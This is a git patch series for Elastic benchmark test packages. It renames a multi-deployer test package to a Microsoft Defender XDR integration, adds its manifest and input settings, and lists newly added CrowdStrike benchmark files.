"tactic": { + "name": [ + "Execution" + ] + }, + "technique": { + "subtechnique": { + "id": [ + "T1059.001" + ] + } + } + } +} diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml similarity index 79% rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml index f2a93c3fd0..7feb820bb5 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml @@ -1,15 +1,15 @@ --- -description: Pipeline for multi_deployer logfile data stream. +description: Pipeline for m365_defender logfile data stream. processors: - set: field: event.kind value: event - set: field: event.dataset - value: multi_deployer.logfile + value: m365_defender.logfile - set: field: event.module - value: multi_deployer + value: m365_defender on_failure: - set: field: event.kind diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml similarity index 92% rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml index 41ab49d9d4..22acc0bad8 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml @@ -10,11 +10,11 @@ - name: event.module type: constant_keyword description: Event module. - value: multi_deployer + value: m365_defender - name: event.dataset type: constant_keyword description: Event dataset. - value: multi_deployer.logfile + value: m365_defender.logfile - name: '@timestamp' type: date description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml similarity index 75% rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml index 4ecb979bdf..022e040ae1 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml @@ -1,4 +1,4 @@ -- name: multi_deployer.logfile +- name: m365_defender.logfile type: group fields: - name: message diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml similarity index 95% rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml index 279aa6f9f6..7167744787 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml @@ -22,7 +22,7 @@ streams: show_user: false default: - forwarded - - multi_deployer-logfile + - m365_defender-logfile - name: preserve_original_event type: bool title: Preserve original event diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md rename to test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml new file mode 100644 index 0000000000..ea35104716 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml @@ -0,0 +1,265 @@ +format_version: "3.4.0" +name: m365_defender +title: Microsoft Defender XDR +version: "5.11.1" +description: Collect logs from Microsoft Defender XDR with Elastic Agent. +categories: + - "security" + - "edr_xdr" + - "vulnerability_workflow" + - "cloudsecurity_cdr" +type: integration +conditions: + elastic: + subscription: basic + kibana: + version: "^8.19.10 || ~9.1.10 || ~9.2.4 || ^9.3.0" +policy_templates: + - name: m365_defender + title: Microsoft Defender XDR Logs + description: Collect logs from Microsoft Defender XDR. + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations + resources: + requests: + memory: 4Gi # Due to the large volume of data being processed in memory, a 4 GB allocation is required for agentless deployment-anything less may lead to out-of-memory (OOM) issue. + inputs: + - type: httpjson + title: "Collect alerts and incidents using Microsoft Graph Security API" + description: "Collect alerts and incidents from Microsoft Defender XDR using Microsoft Graph Security API" + vars: + - name: login_url + type: text + title: Oauth2 Token URL + required: true + show_user: false + default: https://login.microsoftonline.com + description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation. + - name: token_endpoint + type: text + title: OAuth Token endpoint + required: true + show_user: false + default: oauth2/v2.0/token + description: "Microsoft supports multiple Oauth2 URL endpoints, the default is oauth2/v2.0/token, but can also be oauth2/token" + secret: false + - name: enable_request_tracer + type: bool + title: Enable request tracing + default: false + multi: false + required: false + show_user: false + description: >- + The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. Disabling the request tracer will delete any stored traces. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. + - name: client_id + type: text + title: Client ID + description: Client ID for Azure AD application. + multi: false + required: true + show_user: true + - name: client_secret + type: password + title: Client Secret + description: Client Secret for Azure AD application. + multi: false + required: true + show_user: true + secret: true + - name: tenant_id + type: text + title: Tenant ID + description: Tenant ID of the Azure. + multi: false + required: true + show_user: true + - name: oauth_endpoint_params + type: yaml + title: OAuth2 Endpoint Params + description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters. + show_user: false + multi: false + required: false + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: false + description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. + - name: ssl + type: yaml + title: SSL Configuration + description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. + multi: false + required: false + show_user: false + default: | + #certificate_authorities: + # - | + # -----BEGIN CERTIFICATE----- + # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF + # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 + # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB + # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n + # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl + # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t + # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP + # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 + # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O + # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux + # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D + # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw + # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA + # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu + # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 + # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk + # sxSmbIUfc2SGJGCJD4I= + # -----END CERTIFICATE----- + - type: azure-eventhub + title: "Collect events using Azure Event Hub" + description: "Collect events from Microsoft Defender XDR using Azure Event Hub" + - type: cel + title: "Collect vulnerabilities using Microsoft Defender for Endpoint API" + description: "Collect vulnerabilities from Microsoft Defender XDR using Microsoft Defender for Endpoint API." + vars: + - name: url + type: text + title: URL + description: By default, the URL is set to `https://api.security.microsoft.com`. For better performance, use a server closer to your geolocation. Refer to [documentation](https://learn.microsoft.com/en-us/defender-endpoint/api/exposed-apis-list#versioning) for details. + multi: false + required: true + show_user: false + default: https://api.security.microsoft.com + - name: client_id + type: text + title: Client ID + description: Client ID for Microsoft Entra ID application. + multi: false + required: true + show_user: true + - name: client_secret + type: password + title: Client Secret + secret: true + description: Client Secret for Microsoft Entra ID application. + multi: false + required: true + show_user: true + - name: azure_tenant_id + type: text + title: Tenant ID + description: Tenant ID of the Azure. + multi: false + required: true + show_user: true + - name: token_url + type: text + title: Oauth2 Token URL + description: The Base URL endpoint that will be used to generate the tokens during the oauth2 flow. If not provided, above `Tenant ID` will be used for oauth2 token generation. + show_user: true + required: false + default: https://login.microsoftonline.com + secret: false + - name: token_scopes + type: text + title: Token Scopes + description: Defines the level of access granted to the API. This scope is required to authenticate and authorize API requests in Microsoft Defender XDR Vulnerability Management. + multi: true + secret: false + required: true + show_user: false + default: + - "https://securitycenter.onmicrosoft.com/windowsatpservice/.default" + - name: oauth_endpoint_params + type: yaml + title: OAuth2 Endpoint Params + description: Set of values that will be sent on each resource to the OAuth Server URL. Each param key can have multiple values and they are appended to the URL as query parameters. + show_user: false + multi: false + required: false + default: | + #grant_type: client_credentials + #refresh_token: + # - refresh_token_1 + # - refresh_token_2 + - name: proxy_url + type: text + title: Proxy URL + description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. + multi: false + required: false + show_user: false + - name: ssl + type: yaml + title: SSL Configuration + description: SSL configuration options. Refer to [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. + multi: false + required: false + show_user: false + default: | + #certificate_authorities: + # - | + # -----BEGIN CERTIFICATE----- + # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF + # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 + # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB + # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n + # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl + # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t + # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP + # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 + # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O + # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux + # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D + # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw + # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA + # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu + # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 + # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk + # sxSmbIUfc2SGJGCJD4I= + # -----END CERTIFICATE----- +icons: + - src: /img/logo.svg + title: M365 logo + size: 32x32 + type: image/svg+xml +screenshots: + - src: /img/m365_defender-alert-api.png + title: Microsoft Defender XDR Alert Dashboard + size: 600x600 + type: image/png + - src: /img/m365_defender-incident.png + title: Microsoft Defender XDR (Incidents) Incidents Dashboard + size: 600x600 + type: image/png + - src: /img/m365_defender-alert-eventhub.png + title: Microsoft Defender XDR (Events) Alerts Dashboard + size: 600x600 + type: image/png + - src: /img/m365_defender-device.png + title: Microsoft Defender XDR (Events) Device Dashboard + size: 600x600 + type: image/png + - src: /img/m365_defender-email.png + title: Microsoft Defender XDR (Events) Email Dashboard + size: 600x600 + type: image/png + - src: /img/m365_defender-app_and_identity.png + title: Microsoft Defender XDR (Events) App & Identity Dashboard + size: 600x600 + type: image/png + - src: /img/m365_defender-vulnerability.png + title: Microsoft Defender XDR Vulnerability + size: 600x600 + type: image/png +owner: + github: elastic/security-service-integrations + type: elastic diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml deleted file mode 100644 index c8284a87bf..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -version: "2.3" -services: - multi_deployer_httpjson: - image: docker.elastic.co/observability/stream:v0.20.0 - hostname: multi_deployer_httpjson - ports: - - 8080 - volumes: - - ./files:/files:ro - - ${SERVICE_LOGS_DIR}:/var/log - environment: - PORT: "8080" - command: - - http-server - - --addr=:8080 - - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml deleted file mode 100644 index 34a8e609ca..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml +++ /dev/null @@ -1,20 +0,0 @@ -rules: - - path: /events - methods: ["GET"] - responses: - - status_code: 200 - headers: - Content-Type: - - application/json - body: |- - { - "data": [ - {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} - {{- $g := glob "/var/log/corpus-*" -}} - {{- range $g -}} - {{- file . -}} - {{- end -}} - {{/* A last line of hard-coded data is required to properly close the JSON body */}} - {"id":"placeholder","severity":"low","status":"open","source_ip":"1.2.3.4","@timestamp":"2024-01-01T00:00:00Z"} - ] - } diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml deleted file mode 100644 index 3ac4c780cd..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml +++ /dev/null @@ -1,23 +0,0 @@ ---- -description: Benchmark events ingested via docker deployer (httpjson input) -input: httpjson -deployer: docker -vars: - url: http://{{Hostname}}:{{Port}} -data_stream: - name: httpjson - vars: - interval: 1s -warmup_time_period: 2s -corpora: - input_service: - name: multi_deployer_httpjson - generator: - total_events: 1000 - template: - path: ./docker-benchmark/template.ndjson - type: gotext - config: - path: ./docker-benchmark/config.yml - fields: - path: ./docker-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml deleted file mode 100644 index a95908550b..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml +++ /dev/null @@ -1,16 +0,0 @@ -fields: - - name: Severity - enum: - - low - - medium - - high - - critical - - name: Status - enum: - - open - - closed - - in_progress - - name: SourceIp - cardinality: 1000 - - name: EventId - cardinality: 100000 diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml deleted file mode 100644 index 8838ba018c..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml +++ /dev/null @@ -1,8 +0,0 @@ -- name: EventId - type: keyword -- name: Severity - type: keyword -- name: Status - type: keyword -- name: SourceIp - type: ip diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson deleted file mode 100644 index 7f2c14d93f..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson +++ /dev/null @@ -1 +0,0 @@ -{"id":"{{.EventId}}","severity":"{{.Severity}}","status":"{{.Status}}","source_ip":"{{.SourceIp}}","@timestamp":"2024-01-01T00:00:00Z"}, \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml deleted file mode 100644 index 813cf1cf77..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml +++ /dev/null @@ -1,5 +0,0 @@ -- version: "0.1.0" - changes: - - description: Initial release. - type: enhancement - link: https://github.com/elastic/elastic-package/pull/1 diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs deleted file mode 100644 index 55b6a7330a..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs +++ /dev/null @@ -1,12 +0,0 @@ -config_version: 2 -interval: {{interval}} -request.method: GET -request.url: {{url}}/events -response.split: - target: body.data - type: array -processors: - - add_fields: - target: '' - fields: - ecs.version: "8.11.0" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml deleted file mode 100644 index f2ecad9e8f..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml +++ /dev/null @@ -1,21 +0,0 @@ ---- -description: Pipeline for multi_deployer httpjson data stream. -processors: - - set: - field: event.kind - value: event - - set: - field: event.dataset - value: multi_deployer.httpjson - - set: - field: event.module - value: multi_deployer -on_failure: - - set: - field: event.kind - value: pipeline_error - - append: - field: error.message - value: >- - Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}" - in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml deleted file mode 100644 index 83758fbcb1..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml +++ /dev/null @@ -1,15 +0,0 @@ -- name: multi_deployer.httpjson - type: group - fields: - - name: id - type: keyword - description: Event ID. - - name: severity - type: keyword - description: Event severity. - - name: status - type: keyword - description: Event status. - - name: source_ip - type: ip - description: Source IP address. diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml deleted file mode 100644 index c954ac372c..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml +++ /dev/null @@ -1,29 +0,0 @@ -title: Benchmark httpjson data stream -type: logs -streams: - - input: httpjson - title: Collect logs via HTTP JSON - description: Collect benchmark events via httpjson input. - template_path: httpjson.yml.hbs - vars: - - name: interval - type: text - title: Interval - default: 5s - required: true - show_user: true - - name: tags - type: text - title: Tags - multi: true - required: true - show_user: false - default: - - forwarded - - multi_deployer-httpjson - - name: preserve_original_event - type: bool - title: Preserve original event - required: true - show_user: true - default: false diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml deleted file mode 100644 index c4b8ea4eb6..0000000000 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml +++ /dev/null @@ -1,31 +0,0 @@ -format_version: "3.5.8" -name: multi_deployer -title: Multi-Deployer Benchmark -version: "0.1.0" -description: Test package for system benchmarks exercising both docker and tf service deployers. -type: integration -categories: ["custom"] -conditions: - kibana: - version: "^8.0.0 || ^9.0.0" -policy_templates: - - name: multi_deployer - title: Multi-Deployer - description: Collect logs via httpjson (docker) and filestream (tf) inputs. - inputs: - - type: httpjson - title: Collect logs via HTTP JSON - description: Collecting logs via httpjson input. - vars: - - name: url - type: url - title: URL - description: URL of the HTTP endpoint to collect events from. - required: true - show_user: true - - type: filestream - title: Collect logs via filestream - description: Collecting logs via filestream input. -owner: - github: elastic/integrations - type: elastic From 9339ea1cb5eee5c310e3ba01c34853d140ff33a3 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Tue, 24 Mar 2026 18:29:00 +0530 Subject: [PATCH 10/19] fix epb --- .../manifest.yml | 34 ------------------- 1 file changed, 34 deletions(-) diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml index ea35104716..51f0fe5ef5 100644 --- a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml @@ -226,40 +226,6 @@ policy_templates: # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk # sxSmbIUfc2SGJGCJD4I= # -----END CERTIFICATE----- -icons: - - src: /img/logo.svg - title: M365 logo - size: 32x32 - type: image/svg+xml -screenshots: - - src: /img/m365_defender-alert-api.png - title: Microsoft Defender XDR Alert Dashboard - size: 600x600 - type: image/png - - src: /img/m365_defender-incident.png - title: Microsoft Defender XDR (Incidents) Incidents Dashboard - size: 600x600 - type: image/png - - src: /img/m365_defender-alert-eventhub.png - title: Microsoft Defender XDR (Events) Alerts Dashboard - size: 600x600 - type: image/png - - src: /img/m365_defender-device.png - title: Microsoft Defender XDR (Events) Device Dashboard - size: 600x600 - type: image/png - - src: /img/m365_defender-email.png - title: Microsoft Defender XDR (Events) Email Dashboard - size: 600x600 - type: image/png - - src: /img/m365_defender-app_and_identity.png - title: Microsoft Defender XDR (Events) App & Identity Dashboard - size: 600x600 - type: image/png - - src: /img/m365_defender-vulnerability.png - title: Microsoft Defender XDR Vulnerability - size: 600x600 - type: image/png owner: github: elastic/security-service-integrations type: elastic From 2165b08428d076211ee595ff6fc9764a0ca77eae Mon Sep 17 00:00:00 2001 From: kcreddy Date: Tue, 24 Mar 2026 18:48:46 +0530 Subject: [PATCH 11/19] add filestream to input --- .../benchmarks/system_benchmark_m365_defender/manifest.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml index 51f0fe5ef5..62ae0ccd81 100644 --- a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml @@ -123,6 +123,9 @@ policy_templates: # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk # sxSmbIUfc2SGJGCJD4I= # -----END CERTIFICATE----- + - type: filestream + title: M365 defender logs using filestream input + description: Collect M365 defender logs using filestream input. - type: azure-eventhub title: "Collect events using Azure Event Hub" description: "Collect events from Microsoft Defender XDR using Azure Event Hub" From b4a10197e0b3baef35cb9b330c3e6d2d01e49371 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Wed, 25 Mar 2026 17:26:43 +0530 Subject: [PATCH 12/19] update version --- .../benchmarks/system_benchmark_m365_defender/changelog.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml index 339a7f8eb4..f5c56f1a49 100644 --- a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml +++ b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml @@ -1,5 +1,5 @@ # newer versions go on top -- version: "5.11.1" +- version: "5.11.1000" changes: - description: Fix table formatting in README. type: bugfix From b3b83cf90bab02aebe9b8669c3c46d16fb846e4c Mon Sep 17 00:00:00 2001 From: kcreddy Date: Wed, 25 Mar 2026 19:10:37 +0530 Subject: [PATCH 13/19] Add crowdstrike package instead --- .../_dev/benchmark/system/alert-benchmark.yml | 27 + .../system/alert-benchmark/config.yml | 105 + .../system/alert-benchmark/fields.yml | 208 + .../system/alert-benchmark/template.ndjson | 97 + .../system/deploy/docker/docker-compose.yml | 16 + .../system/deploy/docker/files/config.yml | 128 + .../_dev/benchmark/system/deploy/tf/env.yml | 5 + .../system/deploy/tf/files/sample.log | 500 +++ .../_dev/benchmark/system/deploy/tf/main.tf | 5 + .../benchmark/system/deploy/tf/variables.tf | 26 + .../benchmark/system/falcon-benchmark.yml | 22 + .../system/falcon-benchmark/config.yml | 203 + .../system/falcon-benchmark/fields.yml | 469 +++ .../system/falcon-benchmark/template.ndjson | 220 + .../_dev/build/build.yml | 3 + .../_dev/build/docs/README.md | 367 ++ .../changelog.yml | 1051 +++++ .../alert/_dev/benchmark/pipeline/config.yml | 1 + .../_dev/benchmark/pipeline/test-alert.log | 10 + .../alert/_dev/test/pipeline/test-alert.log | 11 + .../pipeline/test-alert.log-expected.json | 2133 ++++++++++ .../_dev/test/pipeline/test-common-config.yml | 4 + .../_dev/test/policy/test-default.expected | 134 + .../alert/_dev/test/policy/test-default.yml | 9 + .../_dev/test/policy/test-traced.expected | 134 + .../alert/_dev/test/policy/test-traced.yml | 10 + .../_dev/test/scripts/api_error_response.txt | 111 + .../alert/_dev/test/scripts/env.txt | 25 + .../alert/_dev/test/scripts/unauthorized.txt | 110 + .../_dev/test/system/test-common-config.yml | 15 + .../alert/agent/stream/cel.yml.hbs | 130 + .../elasticsearch/ingest_pipeline/default.yml | 3079 ++++++++++++++ .../data_stream/alert/fields/base-fields.yml | 20 + .../data_stream/alert/fields/beats.yml | 6 + .../data_stream/alert/fields/ecs.yml | 9 + .../data_stream/alert/fields/fields.yml | 633 +++ .../data_stream/alert/manifest.yml | 94 + .../data_stream/alert/sample_event.json | 364 ++ .../falcon/_dev/benchmark/pipeline/config.yml | 1 + .../benchmark/pipeline/test-event-stream.log | 9 + .../pipeline/test-falcon-audit-events.log | 13 + .../pipeline/test-falcon-auth-activity.log | 2 + .../test-falcon-cspmioa-streaming.log | 1 + .../test-falcon-cspmsearch-streaming.log | 1 + ...lcon-data-protection-detection-summary.log | 2 + .../test-falcon-detection-summary.log | 1 + .../test-falcon-epp-detection-summary.log | 15 + .../benchmark/pipeline/test-falcon-events.log | 1 + .../pipeline/test-falcon-firewall.log | 1 + ...st-falcon-identity-protection-incident.log | 1 + .../pipeline/test-falcon-incident-summary.log | 1 + .../pipeline/test-falcon-ipd-summary.log | 1 + .../test-falcon-mobile-detection-summary.log | 1 + .../test-falcon-recon-notification.log | 1 + .../pipeline/test-falcon-remote-response.log | 2 + .../benchmark/pipeline/test-falcon-sample.log | 7 + .../pipeline/test-falcon-user-activity.log | 1 + .../test-falcon-xdr-detection-summary.log | 1 + .../_dev/deploy/docker/docker-compose.yml | 20 + .../_dev/deploy/docker/files/config.yml | 75 + .../sample_logs/falcon-audit-events.log | 277 ++ .../docker/sample_logs/falcon-events.log | 94 + .../docker/sample_logs/falcon-sample.log | 254 ++ .../_dev/test/pipeline/test-common-config.yml | 15 + .../_dev/test/pipeline/test-event-stream.log | 10 + .../test-event-stream.log-expected.json | 984 +++++ .../pipeline/test-falcon-audit-events.log | 277 ++ 